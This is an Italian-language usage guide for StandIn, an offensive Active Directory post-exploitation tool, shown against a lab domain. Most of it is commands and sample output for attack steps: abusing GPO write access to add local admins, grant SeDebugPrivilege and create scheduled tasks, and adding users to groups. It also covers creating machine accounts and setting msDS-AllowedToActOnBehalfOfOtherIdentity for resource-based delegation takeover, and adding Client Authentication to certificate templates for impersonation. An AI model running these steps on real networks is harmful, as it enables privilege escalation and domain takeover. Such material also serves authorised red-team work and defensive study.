[?] Using DC : m-w16-dc01.main.redhook.local
[?] Object : CN=user 001
Path : LDAP://CN=user 001,CN=Users,DC=redhook,DC=local
[?] Iterating object properties
|_ Applying property filter => serviceprincipalname
[+] serviceprincipalname
|_ MSSQL/Alchimiae
## Unconstrained / constrained / resource-based constrained delegation
#### Caso d'uso
> *Questa funzione enumera tutti gli account autorizzati a eseguire la delega [unconstrained](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-unrestricted-kerberos-delegation), [constrained](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-kerberos-constrained-delegation), o [resource-based constrained](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution). Questi asset possono essere utilizzati per espandere l'accesso o raggiungere gli obiettivi.*
#### Sintassi
Restituisci tutti gli account che hanno permessi di delega unconstrained o constrained, oppure hanno privilegi di delega resource-based constrained in entrata.
C:> StandIn.exe --delegation
[?] Using DC : m-w16-dc01.main.redhook.local
[?] Found 3 object(s) with unconstrained delegation..
[*] SamAccountName : M-2019-03$ DistinguishedName : CN=M-2019-03,OU=Servers,OU=OCCULT,DC=main,DC=redhook,DC=local userAccountControl : WORKSTATION_TRUST_ACCOUNT, TRUSTED_FOR_DELEGATION
[*] SamAccountName : M-W16-DC01$ DistinguishedName : CN=M-W16-DC01,OU=Domain Controllers,DC=main,DC=redhook,DC=local userAccountControl : SERVER_TRUST_ACCOUNT, TRUSTED_FOR_DELEGATION
[*] SamAccountName : M-W19-DC01$ DistinguishedName : CN=M-W19-DC01,OU=Domain Controllers,DC=main,DC=redhook,DC=local userAccountControl : SERVER_TRUST_ACCOUNT, TRUSTED_FOR_DELEGATION
[?] Found 2 object(s) with constrained delegation..
[*] SamAccountName : M-2019-04$ DistinguishedName : CN=M-2019-04,OU=Servers,OU=OCCULT,DC=main,DC=redhook,DC=local msDS-AllowedToDelegateTo : HOST/m-w16-dc01.main.redhook.local/main.redhook.local HOST/m-w16-dc01.main.redhook.local HOST/M-W16-DC01 HOST/m-w16-dc01.main.redhook.local/MAIN HOST/M-W16-DC01/MAIN Protocol Transition : False userAccountControl : WORKSTATION_TRUST_ACCOUNT
[*] SamAccountName : M-2019-05$ DistinguishedName : CN=M-2019-05,OU=Servers,OU=OCCULT,DC=main,DC=redhook,DC=local msDS-AllowedToDelegateTo : cifs/m-2012r2-03.main.redhook.local cifs/M-2012R2-03 Protocol Transition : True userAccountControl : WORKSTATION_TRUST_ACCOUNT, TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION
[?] Found 1 object(s) with resource-based constrained delegation..
[*] SamAccountName : M-10-1909-01$ DistinguishedName : CN=M-10-1909-01,OU=Workstations,OU=OCCULT,DC=main,DC=redhook,DC=local Inbound Delegation : Server Admins [GROUP] userAccountControl : WORKSTATION_TRUST_ACCOUNT
## DC's
#### Caso d'uso
> *Questa funzione fornisce consapevolezza situazionale trovando tutti i controller di dominio ed elencando alcune delle loro proprietà, incluse le assegnazioni dei ruoli.*
#### Sintassi
Ottieni tutti i controller di dominio.```
C:\> StandIn.exe --dc
[?] Using DC : m-w16-dc01.main.redhook.local
|_ Domain : main.redhook.local
[*] Host : m-w16-dc01.main.redhook.local
Domain : main.redhook.local
Forest : main.redhook.local
SiteName : Default-First-Site-Name
IP : 10.42.54.5
OSVersion : Windows Server 2016 Datacenter
Local System Time UTC : Tuesday, 03 November 2020 03:29:17
Role : SchemaRole
NamingRole
PdcRole
RidRole
InfrastructureRole
[*] Host : m-w19-dc01.main.redhook.local
Domain : main.redhook.local
Forest : main.redhook.local
SiteName : Default-First-Site-Name
IP : 10.42.54.13
OSVersion : Windows Server 2019 Datacenter
Local System Time UTC : Tuesday, 03 November 2020 03:29:17
Questa funzione fornisce consapevolezza situazionale trovando tutte le relazioni di trust del dominio.
Ottieni tutte le relazioni di trust per il dominio corrente.``` C:> StandIn.exe --trust
[?] Using DC : m-w16-dc01.main.redhook.local |_ Domain : main.redhook.local
[>] Source : main.redhook.local Target : redhook.local TrustDirection : Bidirectional TrustType : ParentChild
## Operazioni GPO
Queste funzioni riguardano specificamente la manipolazione dei GPO.
### Elenca i GPO
#### Caso d'uso
> *Questa funzione può enumerare tutti gli oggetti `Group Policy` del dominio. Opzionalmente è possibile usare il carattere jolly `--filter` e `--limit` per limitare il numero di voci restituite. È anche possibile interrogare gli ACL per gli oggetti GPO con `--acl`.*
#### Sintassi
Enumera gli oggetti GPO e rivedi gli ACL dei GPO.```
C:\> StandIn.exe --gpo
[?] Using DC : m-w16-dc01.main.redhook.local
[+] GPO result count : 3
|_ Result limit : 50
[?] Object : CN={6AC1786C-016F-11D2-945F-00C04fB984F9}
Path : LDAP://CN={6AC1786C-016F-11D2-945F-00C04fB984F9},CN=Policies,CN=System,DC=redhook,DC=local
DisplayName : Default Domain Controllers Policy
CN : {6AC1786C-016F-11D2-945F-00C04fB984F9}
GPCFilesysPath : \\redhook.local\sysvol\redhook.local\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}
GPCMachineExtensionnames : [{827D319E-6EAC-11D2-A4EA-00C04F79F83A}{803E14A0-B4FB-11D0-A0D0-00A0C90F574B}]
WhenCreated : 6/3/2021 10:30:25 AM
WhenChanged : 6/3/2021 10:30:25 AM
[?] Object : CN={31B2F340-016D-11D2-945F-00C04FB984F9}
Path : LDAP://CN={31B2F340-016D-11D2-945F-00C04FB984F9},CN=Policies,CN=System,DC=redhook,DC=local
DisplayName : Default Domain Policy
CN : {31B2F340-016D-11D2-945F-00C04FB984F9}
GPCFilesysPath : \\redhook.local\sysvol\redhook.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}
GPCMachineExtensionnames : [{35378EAC-683F-11D2-A89A-00C04FBBCFA2}{53D6AB1B-2488-11D1-A28C-00C04FB94F17}][{827D319E-6EAC-11D2-A4EA-00C04F79F83A}{803E14A0-B4FB-11D0-A0D0-00A0C90F574B}][{B1BE8D72-6EAC-11D2-A4EA-00C04F79F83A}{53D6AB1B-2488-11D1-A28C-00C04FB94F17}]
WhenCreated : 6/3/2021 10:30:25 AM
WhenChanged : 6/5/2021 11:59:55 PM
[?] Object : CN={028A7368-C524-46AA-B27A-CE8BDAC4EA66}
Path : LDAP://CN={028A7368-C524-46AA-B27A-CE8BDAC4EA66},CN=Policies,CN=System,DC=redhook,DC=local
DisplayName : Shards
CN : {028A7368-C524-46AA-B27A-CE8BDAC4EA66}
GPCFilesysPath : \\redhook.local\SysVol\redhook.local\Policies\{028A7368-C524-46AA-B27A-CE8BDAC4EA66}
GPCMachineExtensionnames : [{827D319E-6EAC-11D2-A4EA-00C04F79F83A}{803E14A0-B4FB-11D0-A0D0-00A0C90F574B}]
WhenCreated : 6/4/2021 2:11:43 PM
WhenChanged : 6/4/2021 11:33:33 PM
C:\> StandIn.exe --gpo --filter Shards --acl
[?] Using DC : m-w16-dc01.main.redhook.local
[+] GPO result count : 1
|_ Result limit : 50
|_ Applying search filter
[?] Object : CN={028A7368-C524-46AA-B27A-CE8BDAC4EA66}
Path : LDAP://CN={028A7368-C524-46AA-B27A-CE8BDAC4EA66},CN=Policies,CN=System,DC=redhook,DC=local
GPCFilesysPath : \\redhook.local\SysVol\redhook.local\Policies\{028A7368-C524-46AA-B27A-CE8BDAC4EA66}
Path : OK
[+] Account : CREATOR OWNER
Type : Allow
Rights : FullControl
Inherited ACE : False
Propagation : InheritOnly
[+] Account : NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERS
Type : Allow
Rights : ReadAndExecute, Synchronize
Inherited ACE : False
Propagation : None
[+] Account : NT AUTHORITY\Authenticated Users
Type : Allow
Rights : ReadAndExecute, Synchronize
Inherited ACE : False
Propagation : None
[+] Account : NT AUTHORITY\SYSTEM
Type : Allow
Rights : FullControl
Inherited ACE : False
Propagation : None
[+] Account : REDHOOK\Domain Admins
Type : Allow
Rights : FullControl
Inherited ACE : False
Propagation : None
[+] Account : REDHOOK\Enterprise Admins
Type : Allow
Rights : FullControl
Inherited ACE : False
Propagation : None
[+] Account : REDHOOK\user001
Type : Allow
Rights : FullControl
Inherited ACE : False
Propagation : None
Con i permessi appropriati è possibile aggiungere un utente di dominio al gruppo
BUILTIN\Administratorssu un GPO vulnerabile.
Aggiunge l'utente al gruppo BUILTIN\Administrators per tutti gli oggetti computer collegati al GPO Shards. Questa funzione può sia creare i file necessari che aggiornare file esistenti. Usare con cautela.```
C:> StandIn.exe --gpo --filter Shards --localadmin user002
[?] Using DC : m-w16-dc01.main.redhook.local
[+] GPO Object Found Object : CN={58890948-8DE3-4A39-8C40-F68004186693} Path : LDAP://CN={58890948-8DE3-4A39-8C40-F68004186693},CN=Policies,CN=System,DC=redhook,DC=local GP Path : \redhook.local\SysVol\redhook.local\Policies{58890948-8DE3-4A39-8C40-F68004186693}
[+] User Object Found Object : CN=user 002 Path : LDAP://CN=user 002,CN=Users,DC=redhook,DC=local SID : S-1-5-21-315358687-3711474269-2098994107-1106
[?] GPO Version User : 0 Computer : 0
[+] Writing GPO changes |_ Creating GptTmpl.inf |_ Updating gpt.inf |_ Updating AD object |_ Incrementing version number |_ Creating gPCMachineExtensionNames
### GPO add user privilege
> *Con i permessi appropriati è possibile abilitare un token privilege per un utente di dominio su un GPO vulnerabile.*
#### Sintassi
Aggiungere il `token` privilege a un account utente per tutti gli oggetti computer collegati associati al GPO `Shards`. Questa funzione può sia creare i file richiesti che aggiornare file esistenti. **Usare con cautela.**```
C:\Users\user001\Desktop>StandIn.exe --gpo --filter Shards --setuserrights user002 --grant "SeDebugPrivilege,SeLoadDriverPrivilege"
[+] Validating account rights
|_ Rights count: 2
|_ SeDebugPrivilege
|_ SeLoadDriverPrivilege
[?] Using DC : m-w16-dc01.main.redhook.local
[+] GPO Object Found
Object : CN={58890948-8DE3-4A39-8C40-F68004186693}
Path : LDAP://CN={58890948-8DE3-4A39-8C40-F68004186693},CN=Policies,CN=System,DC=redhook,DC=local
GP Path : \\redhook.local\SysVol\redhook.local\Policies\{58890948-8DE3-4A39-8C40-F68004186693}
[+] User Object Found
Object : CN=user 002
Path : LDAP://CN=user 002,CN=Users,DC=redhook,DC=local
SID : S-1-5-21-315358687-3711474269-2098994107-1106
[?] GPO Version
User : 0
Computer : 1
[+] Writing GPO changes
|_ Updating existing GptTmpl.inf
|_ Adding GPO Privileges
|_ Updating revision
|_ Updating gpt.inf
|_ Updating AD object
|_ Incrementing version number
|_ Updating gPCMachineExtensionNames
Con le autorizzazioni appropriate è possibile aggiungere un'attività immediata al componente
UseroComputerdel GPO. Opzionalmente, queste attività possono essere limitate per applicarsi a un singolo utente o a un singolo computer.
Aggiungi un'attività Computer generica che verrà eseguita per tutti gli oggetti computer collegati al GPO Shards. Aggiungi anche un'attività User mirata che verrà eseguita solo per un utente di dominio specifico. Questa funzione può sia creare i file necessari che aggiornare file esistenti. Usare con cautela.```
C:\Users\user001\Desktop>StandIn.exe --gpo --filter Shards --tasktype computer --taskname Liber --author "REDHOOK\Administrator" --command "C:\I\do\the\thing.exe" --args "with args"
[?] Using DC : m-w16-dc01.main.redhook.local
[+] GPO Object Found Object : CN={58890948-8DE3-4A39-8C40-F68004186693} Path : LDAP://CN={58890948-8DE3-4A39-8C40-F68004186693},CN=Policies,CN=System,DC=redhook,DC=local GP Path : \redhook.local\SysVol\redhook.local\Policies{58890948-8DE3-4A39-8C40-F68004186693}
[?] GPO Version User : 0 Computer : 2
[+] Writing GPO changes |_ Creating ScheduledTasks.xml |_ Updating gpt.inf |_ Updating AD object |_ Incrementing version number |_ Updating gPCMachineExtensionNames
C:> StandIn.exe --gpo --filter Shards --tasktype user --taskname Ivonis --author "REDHOOK\Administrator" --command "C:\I\do\the\thing.exe" --args "with args" --target "REDHOOK\user001" --targetsid S-1-5-21-315358687-3711474269-2098994107-1105
[?] Using DC : m-w16-dc01.main.redhook.local
[+] GPO Object Found Object : CN={58890948-8DE3-4A39-8C40-F68004186693} Path : LDAP://CN={58890948-8DE3-4A39-8C40-F68004186693},CN=Policies,CN=System,DC=redhook,DC=local GP Path : \redhook.local\SysVol\redhook.local\Policies{58890948-8DE3-4A39-8C40-F68004186693}
[?] GPO Version User : 0 Computer : 3
[+] Writing GPO changes |_ Creating ScheduledTasks.xml |_ Updating gpt.inf |_ Updating AD object |_ Incrementing version number |_ Creating gPCUserExtensionNames
### Incremento versione GPO utente / computer
> *Sebbene le precedenti funzioni GPO offrano potenti primitive di sfruttamento, può essere utile avere la capacità di modificare manualmente i `GPO` su `SysVol`. Una volta che un GPO è stato modificato manualmente, la versione dell'oggetto AD dovrebbe essere sincronizzata per propagare correttamente le modifiche. Questa funzione lo fa.*
#### Sintassi
Incrementa la versione `User` o `Computer` del GPO sull'oggetto AD associato.```
C:\Users\user001\Desktop>StandIn.exe --gpo --filter Shards --increase --tasktype user
[?] Using DC : m-w16-dc01.main.redhook.local
[+] GPO Object Found
Object : CN={58890948-8DE3-4A39-8C40-F68004186693}
Path : LDAP://CN={58890948-8DE3-4A39-8C40-F68004186693},CN=Policies,CN=System,DC=redhook,DC=local
GP Path : \\redhook.local\SysVol\redhook.local\Policies\{58890948-8DE3-4A39-8C40-F68004186693}
[?] Current GPO Versioning
User : 1
Computer : 3
--> Incrementing user version
C:\Users\user001\Desktop>StandIn.exe --gpo --filter Shards --increase --tasktype computer
[?] Using DC : m-w16-dc01.main.redhook.local
[+] GPO Object Found
Object : CN={58890948-8DE3-4A39-8C40-F68004186693}
Path : LDAP://CN={58890948-8DE3-4A39-8C40-F68004186693},CN=Policies,CN=System,DC=redhook,DC=local
GP Path : \\redhook.local\SysVol\redhook.local\Policies\{58890948-8DE3-4A39-8C40-F68004186693}
[?] Current GPO Versioning
User : 2
Computer : 3
--> Incrementing computer version
Questa funzione tenta di visualizzare alcune informazioni di base sulle politiche per la consapevolezza situazionale.
Leggi la Default Domain Policy ed estrai alcune informazioni sulle politiche degli utenti/sessioni. Se la policy predefinita è stata rinominata, puoi specificarla con --filter, in alternativa puoi eseguire una query --object per la radice del dominio (ad es. distinguishedname=DC=redhook,DC=local).```
C:> StandIn.exe --policy
[?] Using DC : m-w16-dc01.main.redhook.local
[?] Object : CN={31B2F340-016D-11D2-945F-00C04FB984F9} Path : LDAP://CN={31B2F340-016D-11D2-945F-00C04FB984F9},CN=Policies,CN=System,DC=redhook,DC=local Policy Root : \redhook.local\sysvol\redhook.local\Policies{31B2F340-016D-11D2-945F-00C04FB984F9}
[+] Domain Policy |_ MinimumPasswordAge : 1 |_ MaximumPasswordAge : 42 |_ MinimumPasswordLength : 7 |_ PasswordComplexity : 1 |_ PasswordHistorySize : 24 |_ LockoutBadCount : 5 |_ ResetLockoutCount : 30 |_ LockoutDuration : 30 |_ LSAAnonymousNameLookup : 0 |_ Kerberos max User ticket lifetime : 10 |_ Kerberos max Service ticket lifetime : 600 |_ Kerberos max User ticket renewal lifetime : 7
## DNS
#### Caso d'uso
> *Questa funzione recupera le informazioni DNS del dominio dall'AD e supporta il filtraggio con caratteri jolly.*
#### Sintassi
Legge le voci DNS sotto specifici oggetti `CN=MicrosoftDNS` e analizza i dati DNS binari. La `search base` può essere regolata specificando `--legacy` o `--forest`. Puoi anche limitare i risultati restituiti con `--limit`.```
C:\Users\user001\Desktop>StandIn.exe --dns --filter RedHook-CLI
[+] Search Base: LDAP://DC=redhook.local,CN=MicrosoftDNS,DC=DomainDnsZones,DC=redhook,DC=local
[+] Object : RedHook-CLI-01
|_ DNS_RPC_RECORD_A : 10.0.0.100
[+] Object : RedHook-CLI-02
|_ DNS_RPC_RECORD_A : 10.0.0.101
Queste funzioni trattano specificamente i gruppi di dominio.
Questa funzione fornisce consapevolezza situazionale, elencando tutti i membri di un gruppo di dominio inclusi il loro tipo (utente o gruppo annidato). Come input può anche accettare un
samAccountNamee restituirà di quali gruppi l'utente fa parte.
Enumera l'appartenenza al gruppo o le appartenenze degli utenti e fornisci dettagli rudimentali per gli oggetti membri.``` C:> StandIn.exe --group "Server Admins"
[?] Using DC : m-w16-dc01.main.redhook.local [?] Type : Group resolution Group : Server Admins
[+] Members
[?] Path : LDAP://CN=Workstation Admins,OU=Groups,OU=OCCULT,DC=main,DC=redhook,DC=local samAccountName : Workstation Admins Type : SAM_GROUP_OBJECT SID : S-1-5-21-1293271031-3053586410-2290657902-1108
[?] Path : LDAP://CN=Server Admin 001,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local samAccountName : srvadmin001 Type : SAM_USER_OBJECT SID : S-1-5-21-1293271031-3053586410-2290657902-1111
[?] Path : LDAP://CN=Server Admin 002,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local samAccountName : srvadmin002 Type : SAM_USER_OBJECT SID : S-1-5-21-1293271031-3053586410-2290657902-1184
[?] Path : LDAP://CN=Server Admin 003,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local samAccountName : srvadmin003 Type : SAM_USER_OBJECT SID : S-1-5-21-1293271031-3053586410-2290657902-1185
[?] Path : LDAP://CN=Server Admin 004,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local samAccountName : srvadmin004 Type : SAM_USER_OBJECT SID : S-1-5-21-1293271031-3053586410-2290657902-1186
[?] Path : LDAP://CN=Server Admin 005,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local samAccountName : srvadmin005 Type : SAM_USER_OBJECT SID : S-1-5-21-1293271031-3053586410-2290657902-1187
[?] Path : LDAP://CN=SimCritical,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local samAccountName : SimCritical Type : SAM_USER_OBJECT SID : S-1-5-21-1293271031-3053586410-2290657902-1204
C:> StandIn.exe --group user001
[?] Using DC : m-w16-dc01.main.redhook.local [?] Type : User resolution User : user 001
[+] Memberships
[?] Path : LDAP://<SID=010500000000000515000000dffdcb125d9a38ddbb1b1c7d01020000> samAccountName : Domain Users Type : SAM_GROUP_OBJECT SID : S-1-5-21-315358687-3711474269-2098994107-513
### Aggiungi / rimuovi utente dal gruppo
#### Caso d'uso
> *Con gli accessi appropriati l'operatore può aggiungere o rimuovere un NTAccount da un gruppo di dominio.*
#### Sintassi
Aggiungi un identificatore NTAccount a un gruppo di dominio. Normalmente sarebbe un utente ma potrebbe anche essere un gruppo. Infine, rimuovi l'identificatore NTAccount dal gruppo di dominio.```
C:\> StandIn.exe --group lowprivbutmachineaccess
[?] Using DC : m-w16-dc01.main.redhook.local
[?] Type : Group resolution
Group : lowprivbutmachineaccess
[+] Members
[?] Path : LDAP://CN=s4uUser,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local
samAccountName : s4uUser
Type : User
SID : S-1-5-21-1293271031-3053586410-2290657902-1197
C:\> StandIn.exe --group lowprivbutmachineaccess --ntaccount "MAIN\user001" --add
[?] Using DC : m-w16-dc01.main.redhook.local
[?] Group : lowPrivButMachineAccess
GUID : 37e3d957-af52-4cc6-8808-56330f8ec882
[+] Adding user to group
|_ Success
C:\> StandIn.exe --group lowprivbutmachineaccess
[?] Using DC : m-w16-dc01.main.redhook.local
[?] Type : Group resolution
Group : lowprivbutmachineaccess
[+] Members
[?] Path : LDAP://CN=User 001,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local
samAccountName : user001
Type : User
SID : S-1-5-21-1293271031-3053586410-2290657902-1106
[?] Path : LDAP://CN=s4uUser,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local
samAccountName : s4uUser
Type : User
SID : S-1-5-21-1293271031-3053586410-2290657902-1197
C:\> StandIn.exe --group testgroup --ntaccount "MAIN\user001" --remove
[?] Using DC : m-w16-dc01.main.redhook.local
[?] Group : lowPrivButMachineAccess
GUID : 37e3d957-af52-4cc6-8808-56330f8ec882
[+] Removing user from group
|_ Success
Queste funzioni sono specificamente per operazioni sulle macchine e richiedono il nome della macchina come input.
L'operatore potrebbe voler creare un oggetto macchina per eseguire un attacco di delega vincolata basata sulle risorse. Per impostazione predefinita, qualsiasi utente del dominio ha la possibilità di creare fino a 10 macchine nel dominio locale.
Crea un nuovo oggetto macchina con una password casuale, l'utente ms-DS-MachineAccountQuota si applica a questa operazione.```
C:> StandIn.exe --computer M-1337-b33f --make
[?] Using DC : m-w16-dc01.main.redhook.local |_ Domain : main.redhook.local |_ DN : CN=M-1337-b33f,CN=Computers,DC=main,DC=redhook,DC=local |_ Password : MlCGkaacS5SRUOt
[+] Machine account added to AD..
La proprietà `ms-DS-MachineAccountQuota` esiste nell'oggetto radice del dominio. Se è necessario verificare la quota, è possibile effettuare una ricerca dell'oggetto come mostrato di seguito.```
C:\> StandIn.exe --object ms-DS-MachineAccountQuota=*
Gli utenti standard non hanno la possibilità di eliminare un oggetto macchina, tuttavia un utente che crea una macchina può successivamente disabilitare l'oggetto macchina.
Disabilitare una macchina precedentemente creata. Questa azione deve essere eseguita nel contesto dello stesso utente che ha creato la macchina. Nota: gli utenti non elevati non possono eliminare oggetti macchina, possono solo disabilitarli.``` C:> StandIn.exe --computer M-1337-b33f --disable
[?] Using DC : m-w16-dc01.main.redhook.local [?] Object : CN=M-1337-b33f Path : LDAP://CN=M-1337-b33f,CN=Computers,DC=main,DC=redhook,DC=local
[+] Machine account currently enabled |_ Account disabled..
### Elimina oggetto macchina
#### Caso d'uso
> *Con privilegi AD elevati l'operatore può eliminare un oggetto macchina, ad esempio uno creato in precedenza nella catena di attacco.*
#### Sintassi
Utilizza un contesto elevato per eliminare un oggetto macchina.```
C:\> StandIn.exe --computer M-1337-b33f --delete
[?] Using DC : m-w16-dc01.main.redhook.local
[?] Object : CN=M-1337-b33f
Path : LDAP://CN=M-1337-b33f,CN=Computers,DC=main,DC=redhook,DC=local
[+] Machine account deleted from AD
Con accesso in scrittura a un oggetto macchina, questa funzione consente all'operatore di aggiungere una proprietà
msDS-AllowedToActOnBehalfOfOtherIdentityalla macchina, necessaria per eseguire un attacco di delega vincolata basata sulle risorse.
Aggiunge una proprietà msDS-AllowedToActOnBehalfOfOtherIdentity alla macchina insieme a un SID per facilitare l'acquisizione dell'host tramite delega vincolata basata sulle risorse.```
C:> StandIn.exe --computer m-10-1909-03 --sid S-1-5-21-1293271031-3053586410-2290657902-1205
[?] Using DC : m-w16-dc01.main.redhook.local [?] Object : CN=M-10-1909-03 Path : LDAP://CN=M-10-1909-03,OU=Workstations,OU=OCCULT,DC=main,DC=redhook,DC=local [+] SID added to msDS-AllowedToActOnBehalfOfOtherIdentity
C:> StandIn.exe --object samaccountname=m-10-1909-03$
[?] Using DC : m-w16-dc01.main.redhook.local [?] Object : CN=M-10-1909-03 Path : LDAP://CN=M-10-1909-03,OU=Workstations,OU=OCCULT,DC=main,DC=redhook,DC=local
[?] Iterating object properties
[+] logoncount |_ 107 [+] codepage |_ 0 [+] objectcategory |_ CN=Computer,CN=Schema,CN=Configuration,DC=main,DC=redhook,DC=local [+] iscriticalsystemobject |_ False [+] operatingsystem |_ Windows 10 Enterprise [+] usnchanged |_ 195771 [+] instancetype |_ 4 [+] name |_ M-10-1909-03 [+] badpasswordtime |_ 7/9/2020 5:07:11 PM UTC [+] pwdlastset |_ 10/29/2020 6:44:08 PM UTC [+] serviceprincipalname |_ TERMSRV/M-10-1909-03 |_ TERMSRV/m-10-1909-03.main.redhook.local |_ WSMAN/m-10-1909-03 |_ WSMAN/m-10-1909-03.main.redhook.local |_ RestrictedKrbHost/M-10-1909-03 |_ HOST/M-10-1909-03 |_ RestrictedKrbHost/m-10-1909-03.main.redhook.local |_ HOST/m-10-1909-03.main.redhook.local [+] objectclass |_ top |_ person |_ organizationalPerson |_ user |_ computer [+] badpwdcount |_ 0 [+] samaccounttype |_ SAM_MACHINE_ACCOUNT [+] lastlogontimestamp |_ 10/29/2020 12:29:26 PM UTC [+] usncreated |_ 31127 [+] objectguid |_ c02cff97-4bfd-457c-a568-a748b0725c2f [+] localpolicyflags |_ 0 [+] whencreated |_ 7/9/2020 5:05:08 PM [+] adspath |_ LDAP://CN=M-10-1909-03,OU=Workstations,OU=OCCULT,DC=main,DC=redhook,DC=local [+] useraccountcontrol |_ WORKSTATION_TRUST_ACCOUNT [+] cn |_ M-10-1909-03 [+] countrycode |_ 0 [+] primarygroupid |_ 515 [+] whenchanged |_ 11/2/2020 7:55:14 PM [+] operatingsystemversion |_ 10.0 (18363) [+] dnshostname |_ m-10-1909-03.main.redhook.local [+] dscorepropagationdata |_ 10/30/2020 6:56:30 PM |_ 10/30/2020 10:55:22 AM |_ 10/29/2020 4:58:51 PM |_ 10/29/2020 4:58:29 PM |_ 1/1/1601 12:00:01 AM [+] lastlogon |_ 11/2/2020 9:07:20 AM UTC [+] distinguishedname |_ CN=M-10-1909-03,OU=Workstations,OU=OCCULT,DC=main,DC=redhook,DC=local [+] msds-supportedencryptiontypes |_ RC4_HMAC, AES128_CTS_HMAC_SHA1_96, AES256_CTS_HMAC_SHA1_96 [+] samaccountname |_ M-10-1909-03$ [+] objectsid |_ S-1-5-21-1293271031-3053586410-2290657902-1127 [+] lastlogoff |_ 0 [+] msds-allowedtoactonbehalfofotheridentity |_ BinLen : 36 |_ AceQualifier : AccessAllowed |_ IsCallback : False |_ OpaqueLength : 0 |_ AccessMask : 983551 |_ SID : S-1-5-21-1293271031-3053586410-2290657902-1205 |_ AceType : AccessAllowed |_ AceFlags : None |_ IsInherited : False |_ InheritanceFlags : None |_ PropagationFlags : None |_ AuditFlags : None [+] accountexpires |_ 0x7FFFFFFFFFFFFFFF
### Rimuovere msDS-AllowedToActOnBehalfOfOtherIdentity
#### Caso d'uso
> *Con accesso in scrittura a un oggetto macchina, questa funzione consente all'operatore di rimuovere una proprietà `msDS-AllowedToActOnBehalfOfOtherIdentity` precedentemente aggiunta dalla macchina.*
#### Sintassi
Rimuovere una proprietà `msDS-AllowedToActOnBehalfOfOtherIdentity` precedentemente creata da una macchina.```
C:\> StandIn.exe --computer m-10-1909-03 --remove
[?] Using DC : m-w16-dc01.main.redhook.local
[?] Object : CN=M-10-1909-03
Path : LDAP://CN=M-10-1909-03,OU=Workstations,OU=OCCULT,DC=main,DC=redhook,DC=local
[+] msDS-AllowedToActOnBehalfOfOtherIdentity property removed..
Queste sono funzioni complementari a Certify. Possono facilitare attacchi template in cui lo stato predefinito del modello non è utilizzabile immediatamente.
Questa funzione può enumerare tutte le
CA del dominioe elencherà tutti imodelli pubblicati. Facoltativamente, puoi usare un carattere jolly--filtersul nome completo del modello o su una parte del nome.
Cerca tutti i modelli pubblicati e, in questo caso, filtra l'output per restituire solo i modelli corrispondenti a web.```
C:>StandIn.exe --adcs --filter web
[+] Search Base : LDAP://CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=redhook,DC=local
[>] Certificate Authority : redhook-RH-DC01-CA |_ DNS Hostname : RH-DC01.redhook.local |_ Cert DN : CN=redhook-RH-DC01-CA, DC=redhook, DC=local |_ GUID : e1885348-e2b3-4e02-9147-54c4c430bc53 |_ Published Templates : CrossCA DirectoryEmailReplication DomainControllerAuthentication KerberosAuthentication EFSRecovery EFS DomainController WebServer Machine User SubCA Administrator
[>] Publishing CA : redhook-RH-DC01-CA |_ Template : WebServer |_ Schema Version : 1 |_ pKIExpirationPeriod : 2 years |_ pKIOverlapPeriod : 6 weeks |_ Enroll Flags : NONE |_ Name Flags : ENROLLEE_SUPPLIES_SUBJECT |_ pKIExtendedKeyUsage : Server Authentication |_ Owner : REDHOOK\Enterprise Admins |_ Permission Identity : REDHOOK\Domain Admins | |_ Type : Allow | |_ Permission : CreateChild, DeleteChild, Self, WriteProperty, DeleteTree, Delete, GenericRead, WriteDacl, WriteOwner | |_ Object : ANY |_ Permission Identity : REDHOOK\Domain Users | |_ Type : Allow | |_ Permission : GenericAll | |_ Object : ANY |_ Permission Identity : REDHOOK\Enterprise Admins | |_ Type : Allow | |_ Permission : CreateChild, DeleteChild, Self, WriteProperty, DeleteTree, Delete, GenericRead, WriteDacl, WriteOwner | |_ Object : ANY |_ Permission Identity : REDHOOK\Domain Admins | |_ Type : Allow | |_ Permission : ReadProperty, WriteProperty, ExtendedRight | |_ Object : Certificate-Enrollment |_ Permission Identity : REDHOOK\Enterprise Admins | |_ Type : Allow | |_ Permission : ReadProperty, WriteProperty, ExtendedRight | |_ Object : Certificate-Enrollment |_ Created : 11/24/2021 4:37:30 PM |_ Modified : 11/29/2021 1:57:16 PM
### Autenticazione Client
#### Caso d'uso
> *Per poter generare certificati utilizzabili per impersonare utenti del dominio, la proprietà `pKIExtendedKeyUsage` del modello di certificato deve contenere il flag `Client Authentication`. Con le appropriate `object permissions`, questa funzione consente all'operatore di aggiungere o rimuovere tale flag dal modello.*
#### Sintassi
Aggiungi/rimuovi il flag `Client Authentication` dal modello `WebServer`. Qui il flag `--filter` deve corrispondere esattamente al nome del modello.```
C:\>StandIn.exe --adcs --filter WebServer --clientauth --add
[+] Search Base : LDAP://CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=redhook,DC=local
[>] Publishing CA : redhook-RH-DC01-CA
|_ Template : WebServer
|_ Enroll Flags : NONE
|_ Name Flags : ENROLLEE_SUPPLIES_SUBJECT
|_ pKIExtendedKeyUsage : Server Authentication
|_ Created : 11/24/2021 4:37:30 PM
|_ Modified : 11/29/2021 2:40:06 PM
[+] Adding pKIExtendedKeyUsage : Client Authentication
|_ Success
C:\>StandIn.exe --adcs --filter WebServer --clientauth --remove
[+] Search Base : LDAP://CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=redhook,DC=local
[>] Publishing CA : redhook-RH-DC01-CA
|_ Template : WebServer
|_ Enroll Flags : NONE
|_ Name Flags : ENROLLEE_SUPPLIES_SUBJECT
|_ pKIExtendedKeyUsage : Client Authentication
